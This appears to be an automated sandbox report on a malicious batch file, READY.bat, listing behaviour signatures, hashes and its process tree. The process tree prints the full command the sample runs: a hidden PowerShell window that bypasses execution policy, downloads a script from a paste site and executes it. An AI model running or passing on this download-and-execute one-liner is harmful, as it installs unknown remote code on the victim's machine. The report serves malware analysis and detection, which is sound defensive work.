Analysis

  • max time kernel
    3s
  • max time network
    8s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    04/11/2024, 09:32

General

  • Target
    READY.bat
  • Size 318B
  • Sample241104-lhtjnsxnav
  • SHA256 23a16c795811743cbd7b286c00fcbcc98d0c6a7859596c627670cc21486be229
  • MD5 SHA1 SHA512
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\READY.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1204
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -WindowStyle hidden -Command "Invoke-Expression ((Invoke-WebRequest -Uri 'https://rentry.co/w6aqzu3u/raw').Content)"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1080

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_oyphicin.myh.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oyphicin.myh.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/1080-4-0x00007FFB801F3000-0x00007FFB801F5000-memory.dmp

        memory/1080-13-0x0000020C64340000-0x0000020C64362000-memory.dmp

        memory/1080-14-0x00007FFB801F0000-0x00007FFB80CB2000-memory.dmp

        memory/1080-15-0x00007FFB801F0000-0x00007FFB80CB2000-memory.dmp

        memory/1080-16-0x00007FFB801F0000-0x00007FFB80CB2000-memory.dmp

        memory/1080-17-0x0000020C64FA0000-0x0000020C65746000-memory.dmp

        memory/1080-21-0x00007FFB801F0000-0x00007FFB80CB2000-memory.dmp